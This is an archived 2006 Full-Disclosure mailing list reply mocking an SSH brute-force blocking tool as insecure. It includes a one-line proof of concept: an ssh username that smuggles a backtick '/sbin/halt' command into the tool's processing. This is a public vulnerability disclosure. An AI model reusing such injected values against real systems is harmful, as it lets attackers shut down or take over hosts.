lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite for Android: free password hash cracker in your pocket
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Mon, 27 Nov 2006 20:34:33 +0000
From: Tavis Ormandy <taviso@...too.org>
To: "J. Oquendo" <sil@...iltrated.net>
Cc: full-disclosure <full-disclosure@...ts.grok.org.uk>
Subject: Re: SSH brute force blocking tool

On Mon, Nov 27, 2006 at 02:22:10PM -0500, J. Oquendo wrote:
> For those interested, I wrote a program called Sharpener which is an SSH 
> brute force blocking tool that also reports back the offenders' 
> addresses. I have begun posting the information on the attackers as well 
> as sending out messages (whenever possible) to the admins of these 
> domains. Think of it as an RBL for SSH attackers. The goal is to 
> identify these machines in order for others to implement safeguards 
> (ACL's) against these hosts. Feel free to comment/complain.
> 
> 
> http://www.infiltrated.net/sharpener (tool)
> http://www.infiltrated.net/bruteforcers (offenders)


Nice work, really subtle rootkit. I like the email phone-home.

Here's an exploit.

#!/bin/sh
ssh 'foo bar `/sbin/halt`'@...tim

-- 
-------------------------------------
taviso@....lonestar.org | finger me for my pgp key.
-------------------------------------------------------

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists